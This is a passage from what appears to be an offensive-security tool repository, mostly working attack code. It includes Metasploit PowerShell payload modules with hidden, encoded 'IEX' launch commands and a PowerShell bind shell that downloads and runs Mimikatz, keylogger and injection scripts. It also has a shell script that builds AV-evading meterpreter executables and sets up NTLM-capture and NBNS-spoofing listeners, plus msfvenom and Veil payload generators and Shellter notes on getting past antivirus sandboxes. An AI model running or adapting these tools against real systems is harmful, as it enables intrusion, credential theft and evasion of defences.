"$stream.ReadByte()|Out-Null;" 68 | # Uncompress and invoke the expression (execute) 69 | psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader(" 70 | psh_expression += "$(New-Object IO.Compression.DeflateStream(" 71 | psh_expression += "$stream," 72 | psh_expression += "[IO.Compression.CompressionMode]::Decompress))," 73 | psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());" 74 | 75 | return psh_expression 76 | end 77 | 78 | # 79 | # Override the exec command string 80 | # 81 | def command_string 82 | lport = datastore['LPORT'] 83 | 84 | template_path = File.join( 85 | Msf::Config.data_directory, 86 | 'exploits', 87 | 'powershell', 88 | 'powerfun.ps1') 89 | 90 | script_in = File.read(template_path) 91 | script_in << "\npowerfun -Command bind" 92 | 93 | mods = '' 94 | 95 | if datastore['LOAD_MODULES'] 96 | mods_array = datastore['LOAD_MODULES'].to_s.split(',') 97 | mods_array.collect(&:strip) 98 | print_status("Loading #{mods_array.count} modules into the interactive PowerShell session") 99 | mods_array.each {|m| vprint_good " #{m}"} 100 | mods = "\"#{mods_array.join("\",\n\"")}\"" 101 | script_in << " -Download true\n" 102 | end 103 | 104 | script_in.gsub!('MODULES_REPLACE', mods) 105 | script_in.gsub!('LPORT_REPLACE', lport.to_s) 106 | # Base64 encode the compressed file contents 107 | script = compress_script(script_in) 108 | "powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})" 109 | 110 | end 111 | end 112 | 113 | -------------------------------------------------------------------------------- /metasploit/powershell/reverse_tcp.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | require 'msf/core/payload/windows/exec' 8 | 9 | ### 10 | # 11 | # Extends the Exec payload to add a new user. 12 | # 13 | ### 14 | module Metasploit3 15 | 16 | CachedSize = 443 17 | 18 | include Msf::Payload::Windows::Exec 19 | 20 | def initialize(info = {}) 21 | super(update_info(info, 22 | 'Name' => 'Windows Interactive Powershell Session, Reverse TCP', 23 | 'Description' => 'Listen for a connection and spawn an interactive powershell session', 24 | 'Author' => 25 | [ 26 | 'Ben Turner', # benpturner 27 | 'Dave Hardy' # davehardy20 28 | ], 29 | 'References' => 30 | [ 31 | ['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/'] 32 | ], 33 | 'License' => MSF_LICENSE, 34 | 'Platform' => 'win', 35 | 'Arch' => ARCH_X86, 36 | 'Handler' => Msf::Handler::ReverseTcp, 37 | 'Session' => Msf::Sessions::CommandShell, 38 | )) 39 | 40 | # Register command execution options 41 | register_options( 42 | [ 43 | OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]), 44 | ], self.class) 45 | # Hide the CMD option...this is kinda ugly 46 | deregister_options('CMD') 47 | end 48 | 49 | # 50 | # compression function for powershell 51 | # 52 | def compress_script(script_in, eof = nil) 53 | 54 | # Compress using the Deflate algorithm 55 | compressed_stream = ::Zlib::Deflate.deflate(script_in, 56 | ::Zlib::BEST_COMPRESSION) 57 | 58 | # Base64 encode the compressed file contents 59 | encoded_stream = Rex::Text.encode_base64(compressed_stream) 60 | 61 | # Build the powershell expression 62 | # Decode base64 encoded command and create a stream object 63 | psh_expression = "$stream = New-Object IO.MemoryStream(," 64 | psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));" 65 | # Read & delete the first two bytes due to incompatibility with MS 66 | psh_expression += "$stream.ReadByte()|Out-Null;" 67 | psh_expression += "$stream.ReadByte()|Out-Null;" 68 | # Uncompress and invoke the expression (execute) 69 | psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader(" 70 | psh_expression += "$(New-Object IO.Compression.DeflateStream(" 71 | psh_expression += "$stream," 72 | psh_expression += "[IO.Compression.CompressionMode]::Decompress))," 73 | psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());" 74 | 75 | return psh_expression 76 | end 77 | 78 | # 79 | # Override the exec command string 80 | # 81 | def command_string 82 | lport = datastore['LPORT'] 83 | lhost = datastore['LHOST'] 84 | 85 | template_path = File.join( 86 | Msf::Config.data_directory, 87 | 'exploits', 88 | 'powershell', 89 | 'powerfun.ps1') 90 | 91 | script_in = File.read(template_path) 92 | script_in << "\npowerfun -Command reverse" 93 | 94 | mods = '' 95 | 96 | if datastore['LOAD_MODULES'] 97 | mods_array = datastore['LOAD_MODULES'].to_s.split(',') 98 | mods_array.collect(&:strip) 99 | print_status("Loading #{mods_array.count} modules into the interactive PowerShell session") 100 | mods_array.each {|m| vprint_good " #{m}"} 101 | mods = "\"#{mods_array.join("\",\n\"")}\"" 102 | script_in << " -Download true\n" 103 | end 104 | 105 | script_in.gsub!('MODULES_REPLACE', mods) 106 | script_in.gsub!('LPORT_REPLACE', lport.to_s) 107 | script_in.gsub!('LHOST_REPLACE', lhost.to_s) 108 | # Base64 encode the compressed file contents 109 | script = compress_script(script_in) 110 | "powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})" 111 | 112 | end 113 | end 114 | 115 | -------------------------------------------------------------------------------- /msf.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | ultimate=/root/Desktop/pentest/av_bypass/ultimate-payload-v0.1/ 3 | ipaddr=`ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'` 4 | cd $ultimate 5 | msfvenom -p windows/meterpreter/reverse_tcp -f raw LHOST=$ipaddr LPORT=4444 | ./ultimate-payload.pl -t ultimate-payload-template1.exe -o /tftpboot/payload.exe 6 | cp /tftpboot/payload.exe /root/Desktop/metasploit.exe 7 | msfvenom -p windows/meterpreter/reverse_http -f raw LHOST=$ipaddr LPORT=80 | ./ultimate-payload.pl -t ultimate-payload-template1.exe -o /root/Desktop/metasploit_http.exe 8 | msfvenom -p windows/meterpreter/reverse_https -f raw LHOST=$ipaddr LPORT=443 | ./ultimate-payload.pl -t ultimate-payload-template1.exe -o /root/Desktop/metasploit_https.exe 9 | #msfpayload windows/meterpreter/reverse_http LHOST=$ipaddr LPRT=80 V > /root/Desktop/vbs.txt 10 | #sed -i '/Put #/d' /root/Desktop/vbs.txt 11 | # remove the Put #Dgkdk3 line from the vbs.txt 12 | cd - 13 | 14 | # set an IP in the modules multi-http.rc and multi-https.rc 15 | echo "use multi/handler" > /root/.msf4/scripts/resource/multi-http.rc 16 | echo "set PAYLOAD windows/meterpreter/reverse_http" >> /root/.msf4/scripts/resource/multi-http.rc 17 | echo "set LPORT 80" >> /root/.msf4/scripts/resource/multi-http.rc 18 | echo "set LHOST $ipaddr" >> /root/.msf4/scripts/resource/multi-http.rc 19 | echo "set ExitOnSession false" >> /root/.msf4/scripts/resource/multi-http.rc 20 | echo "set InitialAutoRunScript \"migrate -f\"" >> /root/.msf4/scripts/resource/multi-http.rc 21 | echo "set SessionCommunicationTimeout 0" >> /root/.msf4/scripts/resource/multi-http.rc 22 | echo "run -j" >> /root/.msf4/scripts/resource/multi-http.rc 23 | 24 | echo "use multi/handler" > /root/.msf4/scripts/resource/multi-https.rc 25 | echo "set PAYLOAD windows/meterpreter/reverse_https" >> /root/.msf4/scripts/resource/multi-https.rc 26 | echo "set LPORT 443" >> /root/.msf4/scripts/resource/multi-https.rc 27 | echo "set LHOST $ipaddr" >> /root/.msf4/scripts/resource/multi-https.rc 28 | echo "set ExitOnSession false" >> /root/.msf4/scripts/resource/multi-https.rc 29 | echo "set InitialAutoRunScript \"migrate -f\"" >> /root/.msf4/scripts/resource/multi-https.rc 30 | echo "set SessionCommunicationTimeout 0" >> /root/.msf4/scripts/resource/multi-https.rc 31 | echo "run -j" >> /root/.msf4/scripts/resource/multi-https.rc 32 | 33 | echo "use multi/handler" > /root/.msf4/scripts/resource/multi.rc 34 | echo "set PAYLOAD windows/meterpreter/reverse_tcp" >> /root/.msf4/scripts/resource/multi.rc 35 | echo "set LPORT 4444" >> /root/.msf4/scripts/resource/multi.rc 36 | echo "set LHOST $ipaddr" >> /root/.msf4/scripts/resource/multi.rc 37 | echo "set ExitOnSession false" >> /root/.msf4/scripts/resource/multi.rc 38 | echo "set InitialAutoRunScript \"migrate -f\"" >> /root/.msf4/scripts/resource/multi.rc 39 | echo "set SessionCommunicationTimeout 0" >> /root/.msf4/scripts/resource/multi.rc 40 | echo "run -j" >> /root/.msf4/scripts/resource/multi.rc 41 | 42 | echo "use auxiliary/server/capture/smb" >> /root/.msf4/scripts/resource/nbt.rc 43 | echo "set JOHNPWFILE /tmp/johnsmb.txt" >> /root/.msf4/scripts/resource/nbt.rc 44 | echo "set CAINPWFILE /tmp/cainsmb.txt" >> /root/.msf4/scripts/resource/nbt.rc 45 | echo "set SRVHOST $ipaddr" >> /root/.msf4/scripts/resource/nbt.rc 46 | echo "run" >> /root/.msf4/scripts/resource/nbt.rc 47 | 48 | echo "use auxiliary/server/capture/http_ntlm" >> /root/.msf4/scripts/resource/nbt.rc 49 | echo "set JOHNPWFILE /tmp/john-http.txt" >> /root/.msf4/scripts/resource/nbt.rc 50 | echo "set CAINPWFILE /tmp/cain-http.txt" >> /root/.msf4/scripts/resource/nbt.rc 51 | echo "set SRVHOST $ipaddr" >> /root/.msf4/scripts/resource/nbt.rc 52 | echo "set SRVPORT 80" >> /root/.msf4/scripts/resource/nbt.rc 53 | echo "set URIPATH / " >> /root/.msf4/scripts/resource/nbt.rc 54 | echo "run" >> /root/.msf4/scripts/resource/nbt.rc 55 | 56 | echo "use auxiliary/spoof/nbns/nbns_response" >> /root/.msf4/scripts/resource/nbt.rc 57 | echo "set SPOOFIP $ipaddr" >> /root/.msf4/scripts/resource/nbt.rc 58 | echo "run" >> /root/.msf4/scripts/resource/nbt.rc 59 | 60 | -------------------------------------------------------------------------------- /paygen.py: -------------------------------------------------------------------------------- 1 | # PayGen (www.hackwhackandsmack.com) 2 | # 3 | # Written by Ben Turner 2014 4 | # 5 | 6 | import io, time, commands, os, subprocess 7 | 8 | try: 9 | inteth = 'eth0' 10 | inteth_ip = commands.getoutput("ip address show dev " + inteth).split() 11 | inteth_ip = inteth_ip[inteth_ip.index('inet') + 1].split('/')[0] 12 | 13 | except: 14 | inteth_ip = '127.0.0.1' 15 | 16 | outfile = {} 17 | outfile['1']="/var/www/" 18 | outfile['2']="/tmp/" 19 | outfile['3']="/tftpboot/" 20 | outfile['4']="/root/Desktop/" 21 | 22 | menu = {} 23 | menu['1']="windows/meterpreter/reverse_tcp" 24 | menu['2']="windows/meterpreter/bind_tcp" 25 | menu['3']="windows/meterpreter/reverse_https" 26 | menu['4']="windows/meterpreter/reverse_http" 27 | menu['5']="windows/x64/meterpreter/reverse_tcp" 28 | menu['6']="windows/x64/shell/reverse_tcp" 29 | menu['7']="windows/x64/shell/bind_tcp" 30 | menu['8']="linux/x86/shell/reverse_tcp" 31 | menu['9']="linux/x86/shell/bind_tcp" 32 | menu['10']="linux/x64/shell/reverse_tcp" 33 | menu['11']="linux/x64/shell/bind_tcp" 34 | menu['12']="solaris/sparc/shell_bind_tcp" 35 | menu['13']="solaris/sparc/shell_find_port" 36 | menu['14']="solaris/sparc/shell_reverse_tcp" 37 | menu['15']="solaris/x86/shell_bind_tcp" 38 | menu['16']="solaris/x86/shell_find_port" 39 | menu['17']="solaris/x86/shell_reverse_tcp" 40 | 41 | #more options here 42 | 43 | lport='5555' 44 | outputloc='/tmp/' 45 | payloadformat='exe' 46 | 47 | print "" 48 | ipaddr = raw_input("\033[0;31mPlease enter LHOST IP Address [" + inteth_ip + "]: \033[0m") or inteth_ip 49 | lport = raw_input("\033[0;31mPlease enter LPORT TCP Port [" + lport + "]: \033[0m") or lport 50 | #outputloc = raw_input("\033[0;31mPlease enter Output location of Payload [" + outputloc + "]: \033[0m") or outputloc 51 | print"" 52 | #print"Available output formats: Cs[H]arp, [P]erl, Rub[Y], [J]s, e[X]e, [D]ll, [V]BA, [W]ar, Pytho[N]" 53 | print "aspx, dll, exe, msi, psh, vba, vbs, war" 54 | payloadformat = raw_input("\033[0;31mPlease enter value for the Payload format [" + payloadformat + "]: \033[0m") or payloadformat 55 | print "" 56 | 57 | #option for encoding 58 | 59 | payload = "windows/x64/meterpreter/reverse_tcp" 60 | payselect = '5' 61 | 62 | while True: 63 | outputoptions=outfile.keys() 64 | for entry in outputoptions: 65 | print entry, outfile[entry] 66 | 67 | print "" 68 | 69 | outputselection = raw_input("\033[0;32mPlease enter your output directory [" + outputloc + "]: \033[0m") or outputloc 70 | try: 71 | outputloc = outfile[outputselection] 72 | break 73 | except: 74 | print "\033[0;31mError with output selection reverting back to default [" + outputloc + "]\n\033[0m" 75 | break 76 | while True: 77 | options=menu.keys() 78 | #options.sort() 79 | for entry in options: 80 | print entry, menu[entry] 81 | 82 | print "" 83 | 84 | selection = raw_input("\033[0;32mPlease Select Payload [" + payselect + "]: \033[0m") or payselect 85 | #outputselection = raw_input("") or outputloc 86 | try: 87 | #outputloc = outfile[outputselection] 88 | paynum = int(selection) 89 | payload = menu[selection] 90 | break 91 | except: 92 | print "Unknown Option Selected" 93 | exit() 94 | print "" 95 | 96 | if payloadformat == 'psh': 97 | outputname = 'payload.ps1' 98 | elif payloadformat == 'aspx': 99 | outputname = 'Payload.aspx' 100 | elif payloadformat == 'exe': 101 | outputname = 'Payload.exe' 102 | elif payloadformat == 'dll': 103 | outputname = 'Payload.dll' 104 | elif payloadformat == 'vbs': 105 | outputname = 'Payload.vbs' 106 | elif payloadformat == 'war': 107 | outputname = 'Payload.war' 108 | elif payloadformat == 'msi': 109 | outputname = 'Payload.msi' 110 | elif payloadformat == 'vba': 111 | outputname = 'Payload.vba' 112 | else: 113 | print "Unknown Output Format" 114 | exit() 115 | 116 | 117 | with open(outputloc + outputname, "w") as outfile: 118 | subprocess.call('msfvenom -f ' + payloadformat + ' -p ' + payload + ' LHOST=' + ipaddr + ' LPORT=' + lport, shell=True, stdout=outfile) 119 | time.sleep(2) 120 | subprocess.call('msfcli multi/handler PAYLOAD=' + payload + ' LHOST=' + ipaddr + ' LPORT=' + lport + ' E', shell=True) 121 | 122 | -------------------------------------------------------------------------------- /powerfun.ps1~: -------------------------------------------------------------------------------- 1 | #requires -Version 1 2 | function Get-Webclient 3 | { 4 | $wc = New-Object -TypeName Net.WebClient 5 | $wc.UseDefaultCredentials = $true 6 | $wc.Proxy.Credentials = $wc.Credentials 7 | $wc 8 | } 9 | 10 | function powerfun 11 | { 12 | $modules = @( 13 | 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1', 14 | 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1', 15 | 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1', 16 | 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1', 17 | 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1', 18 | 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1', 19 | 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Get-TimedScreenshot.ps1', 20 | 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1', 21 | 'https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PowerUp/PowerUp.ps1', 22 | 'https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PowerView/powerview.ps1' 23 | 'https://raw.githubusercontent.com/davehardy20/PowerShell-Scripts/master/Get-Poweruphelp.ps1' 24 | 'https://raw.githubusercontent.com/davehardy20/PowerShell-Scripts/master/Get-Powerviewhelp.ps1') 25 | 26 | $listener = [System.Net.Sockets.TcpListener]55555 27 | $listener.start() 28 | [byte[]]$bytes = 0..255|ForEach-Object -Process { 29 | 0 30 | } 31 | $client = $listener.AcceptTcpClient() 32 | $stream = $client.GetStream() 33 | 34 | ForEach ($module in $modules) 35 | { 36 | (Get-Webclient).DownloadString($module)|Invoke-Expression 37 | } 38 | 39 | $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`nInvoke-Shellcode`nInvoke-DllInjection`nInvoke-Mimikatz`nInvoke-NinjaCopy`nGet-GPPPassword`nGet-Keystrokes`nGet-TimedScreenshot`nInvoke-ReflectivePEInjection`nPowerUp`nPowerView`n`nType 'Get-Help Module-Name -Full' for more details on any module.`nFor help on the PowerUp and PowerView modules use Get-Poweruphelp and Get-Powerviewhelp to provide list of commands`n`n") 40 | $stream.Write($sendbytes,0,$sendbytes.Length) 41 | $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') 42 | $stream.Write($sendbytes,0,$sendbytes.Length) 43 | while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) 44 | { 45 | $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding 46 | $data = $EncodedText.GetString($bytes,0, $i) 47 | $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) 48 | 49 | $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' 50 | $x = ($error[0] | Out-String) 51 | $error.clear() 52 | $sendback2 = $sendback2 + $x 53 | 54 | $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) 55 | $stream.Write($sendbyte,0,$sendbyte.Length) 56 | $stream.Flush() 57 | } 58 | $client.Close() 59 | $listener.Stop() 60 | } 61 | 62 | powerfun 63 | -------------------------------------------------------------------------------- /powershell.py: -------------------------------------------------------------------------------- 1 | # PayGen (www.hackwhackandsmack.com) 2 | # 3 | # Written by Ben Turner 2014 4 | # 5 | 6 | import io, time, commands, os, subprocess 7 | 8 | try: 9 | inteth = 'eth0' 10 | inteth_ip = commands.getoutput("ip address show dev " + inteth).split() 11 | inteth_ip = inteth_ip[inteth_ip.index('inet') + 1].split('/')[0] 12 | 13 | except: 14 | inteth_ip = '127.0.0.1' 15 | 16 | ipportdef = '443' 17 | ipaddr = raw_input("\033[0;31mPlease enter LHOST IP Address [" + inteth_ip + "]: \033[0m") or inteth_ip 18 | ipport = raw_input("\033[0;31mPlease enter LPORT [" + ipportdef + "]: \033[0m") or ipportdef 19 | 20 | #with open(outputloc + outputname, "w") as outfile: 21 | # subprocess.call('msfvenom -f ' + payloadformat + ' -p ' + payload + ' LHOST=' + ipaddr + ' LPORT=' + lport, shell=True, stdout=outfile) 22 | #time.sleep(2) 23 | #subprocess.call('msfcli multi/handler PAYLOAD=' + payload + ' LHOST=' + ipaddr + ' LPORT=' + lport + ' E', shell=True) 24 | 25 | subprocess.call('python /root/Desktop/pentest/av_bypass/Veil-Evasion/Veil-Evasion.py -p powershell/meterpreter/rev_https -c LHOST=' + ipaddr + ' LPORT=' + ipport + ' -o payload --overwrite', shell=True) 26 | subprocess.call('python /root/Desktop/pentest/powershell-payload/macro_safe.py /root/veil-output/source/payload.bat /root/Desktop/powershell.txt', shell=True) 27 | 28 | 29 | -------------------------------------------------------------------------------- /powershell/powerfun.ps1: -------------------------------------------------------------------------------- 1 | function Get-Webclient 2 | { 3 | $wc = New-Object -TypeName Net.WebClient 4 | $wc.UseDefaultCredentials = $true 5 | $wc.Proxy.Credentials = $wc.Credentials 6 | $wc 7 | } 8 | 9 | function powerfun 10 | { 11 | $modules = @( 12 | 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1', 13 | 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1', 14 | 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1', 15 | 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1', 16 | 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1', 17 | 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1', 18 | 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Get-TimedScreenshot.ps1', 19 | 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1', 20 | 'https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PowerUp/PowerUp.ps1', 21 | 'https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PowerView/powerview.ps1' 22 | 'https://raw.githubusercontent.com/davehardy20/PowerShell-Scripts/master/Get-Poweruphelp.ps1' 23 | 'https://raw.githubusercontent.com/davehardy20/PowerShell-Scripts/master/Get-Powerviewhelp.ps1') 24 | 25 | $listener = [System.Net.Sockets.TcpListener]55555 26 | $listener.start() 27 | [byte[]]$bytes = 0..255|ForEach-Object -Process { 28 | 0 29 | } 30 | $client = $listener.AcceptTcpClient() 31 | $stream = $client.GetStream() 32 | 33 | ForEach ($module in $modules) 34 | { 35 | (Get-Webclient).DownloadString($module)|Invoke-Expression 36 | } 37 | 38 | $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`nInvoke-Shellcode`nInvoke-DllInjection`nInvoke-Mimikatz`nInvoke-NinjaCopy`nGet-GPPPassword`nGet-Keystrokes`nGet-TimedScreenshot`nInvoke-ReflectivePEInjection`nPowerUp`nPowerView`n`nType 'Get-Help Module-Name -Full' for more details on any module.`nFor help on the PowerUp and PowerView modules use Get-Poweruphelp and Get-Powerviewhelp to provide list of commands`n`n") 39 | $stream.Write($sendbytes,0,$sendbytes.Length) 40 | $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') 41 | $stream.Write($sendbytes,0,$sendbytes.Length) 42 | while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) 43 | { 44 | $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding 45 | $data = $EncodedText.GetString($bytes,0, $i) 46 | $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) 47 | 48 | $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' 49 | $x = ($error[0] | Out-String) 50 | $error.clear() 51 | $sendback2 = $sendback2 + $x 52 | 53 | $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) 54 | $stream.Write($sendbyte,0,$sendbyte.Length) 55 | $stream.Flush() 56 | } 57 | $client.Close() 58 | $listener.Stop() 59 | } 60 | 61 | powerfun 62 | -------------------------------------------------------------------------------- /python/PayGen/s.bak: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/python/PayGen/s.bak -------------------------------------------------------------------------------- /python/PayGen/shellter/faq.txt: -------------------------------------------------------------------------------- 1 | 2 | 1) Does the execution flow return to normal after executing the payload? 3 | ========================================================================= 4 | 5 | Shellter V (v5.0) introduces the Stealth Mode feature which preserves the 6 | original functionality of the application while it keeps all the benefits 7 | of dynamic PE infection. 8 | 9 | As mentioned also below, when you use the Stealth Mode feature you need to 10 | set the payload exit function to 'Thread', when you prepare the multi-handler 11 | listener in metasploit, otherwise the process will be terminated when you kill 12 | the session. 13 | 14 | For more information on how to use Stealth Mode effectively, please read the 15 | readme.txt document. 16 | 17 | 18 | 19 | 2) Does the process die after the payload is executed? 20 | ======================================================= 21 | 22 | This actually depends on how the payload behaves. 23 | 24 | If you use the Stealth Mode feature, then you must always set the exit 25 | function for the payload to 'Thread' so that it won't kill the process 26 | when it returns. In this case the process will still run. 27 | 28 | If you don't use the Stealth Mode feature, then if the exit function is 29 | set to 'Process', the payload will kill the process, otherwise the program 30 | will most probably crash. 31 | Keep in mind that this will happen after the execution of the payload, or 32 | after killing the reverse connection, so in any case this doesn't affect 33 | the effectiveness of the injected code. 34 | 35 | For more information on how to use Stealth Mode effectively, please read the 36 | readme.txt document. 37 | 38 | 39 | 40 | 3) How long does it take to execute the payload? 41 | ================================================= 42 | 43 | Normally, this happens instantly, unless you have injected into a point in 44 | the execution flow that requires user interaction with the application in order 45 | to be reached. 46 | 47 | Furthermore, when junk polymorphic code is used then this delays the execution 48 | of the payload. In Stealth Mode the delay is not significant. 49 | However, when Stealth Mode is not used the execution of the effective payload 50 | can be delayed by several seconds. 51 | 52 | This delay is good in order to bypass AV emulation engines and sandboxes that 53 | normally only monitor the process for a limited time. You don't have to use 54 | this feature if you don't want to. However, it can significantly contribute 55 | towards AV evasion. -------------------------------------------------------------------------------- /python/PayGen/shellter/icon/shellter.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/python/PayGen/shellter/icon/shellter.ico -------------------------------------------------------------------------------- /python/PayGen/shellter/license.txt: -------------------------------------------------------------------------------- 1 | License Agreement 2 | ==================== 3 | 4 | By using this software you understand that it has been exclusively developed 5 | by Kyriakos Economou (@kyREcon) during his free time and his past, current or 6 | future employers may assume no prior knowledge of existence for it. 7 | 8 | This software makes use of the BeaEngine Disassemble library 9 | (http://www.beaengine.org) as stated in the readme.txt file. 10 | 11 | 12 | This license was updated the 18th of May 2015. 13 | 14 | 15 | 16 | 17 | Terms of Use 18 | ============== 19 | 20 | 21 | 1) You can use this software and share it with anyone as long as you do this 22 | for free. 23 | 24 | 2) You assume full responsibility for any damage caused by this software either 25 | this applies to you or to someone else. 26 | 27 | 3) You assume full responsibility for any unlawful actions taken by using this 28 | software. 29 | 30 | 4) You are allowed to modify this software, but if you do then you have to 31 | explicitly state so in case you share it with other people. 32 | 33 | 5) You are allowed to reverse engineer it, disassemble it, debug it, for any 34 | reason that might be, but in case you find a bug then please report it to 35 | the author and give him the necessary amount of time to fix it before 36 | disclosing it. 37 | 38 | 6) You are allowed to distribute this software from your own website, but if 39 | you do then you have to include a link to its original source along with 40 | the license agreement. 41 | 42 | 7) You are allowed to use this software for work purposes, but you are not 43 | allowed to charge for it. 44 | This means that you have the right to use it as a complementary tool to 45 | assist you at work, but you are not allowed to build a commercial service 46 | based on this tool or exploit this tool financially by any means without 47 | the written agreement of its author. 48 | 49 | 8) You are not allowed to use this software to gain unauthorized access to a 50 | computer system or network without a written agreement of its owner. 51 | 52 | 9) It is responsibility of the user to check for any modifications in this 53 | license agreement, and adjust the way he is using this software accordingly. 54 | 55 | 10) You are allowed to use this software for as long as you want only if you 56 | respect all the previous terms. 57 | 58 | 59 | Good luck! 60 | 61 | kyREcon -------------------------------------------------------------------------------- /python/PayGen/shellter/putty.back: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/python/PayGen/shellter/putty.back -------------------------------------------------------------------------------- /python/PayGen/shellter/putty.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/python/PayGen/shellter/putty.exe -------------------------------------------------------------------------------- /python/PayGen/shellter/shellcode_samples/calc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/python/PayGen/shellter/shellcode_samples/calc -------------------------------------------------------------------------------- /python/PayGen/shellter/shellcode_samples/calcenc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/python/PayGen/shellter/shellcode_samples/calcenc -------------------------------------------------------------------------------- /python/PayGen/shellter/shellcode_samples/info.txt: -------------------------------------------------------------------------------- 1 | These are set to kill the process after execution, so don't use them to evaluate Stealth Mode. 2 | 3 | 4 | calc: Launch Calc.exe - No Encoding 5 | 6 | calcenc : Launch Calc.exe - Custom Encoding 7 | 8 | krb1: Launch Calc.exe - Metasploit Single Encoding 9 | 10 | krb3 : Launch Calc.exe - Metasploit Triple Encoding -------------------------------------------------------------------------------- /python/PayGen/shellter/shellcode_samples/krb1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/python/PayGen/shellter/shellcode_samples/krb1 -------------------------------------------------------------------------------- /python/PayGen/shellter/shellcode_samples/krb3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/python/PayGen/shellter/shellcode_samples/krb3 -------------------------------------------------------------------------------- /python/PayGen/shellter/shellter.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/python/PayGen/shellter/shellter.exe -------------------------------------------------------------------------------- /python/lyncdiscover.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import sys 4 | import socket 5 | import json, urllib2 6 | from urllib2 import urlopen 7 | import dns.resolver 8 | 9 | print "\n\033[0;32m======================================================================" 10 | print "\033[0;32mLync Discoverer and Brute-forcer helper 2016 - Written by @benpturner" 11 | print "\033[0;32m======================================================================" 12 | 13 | 14 | def decoderesponse(response): 15 | string = response.read().decode('utf-8') 16 | try: 17 | json_obj = json.loads(string) 18 | json_obj = json.loads(string) 19 | userlink = json_obj['_links']['user']['href'] 20 | lyncntlm=userlink.split(domainsuffix,1)[0] 21 | return lyncntlm 22 | except: 23 | pass 24 | print "\nFailed to decode JSON (Might need to look at this manually):\n"+string 25 | 26 | domain = raw_input("\033[0;31mProvide an example target email address [test@example.com]: \033[0m") 27 | domainsuffix=domain.split("@",1)[1] 28 | 29 | print "\nLooking for Lync dicovery DNS records: "+domainsuffix+"\n" 30 | 31 | lyncdiscoverinternal = '' 32 | lyncdiscover 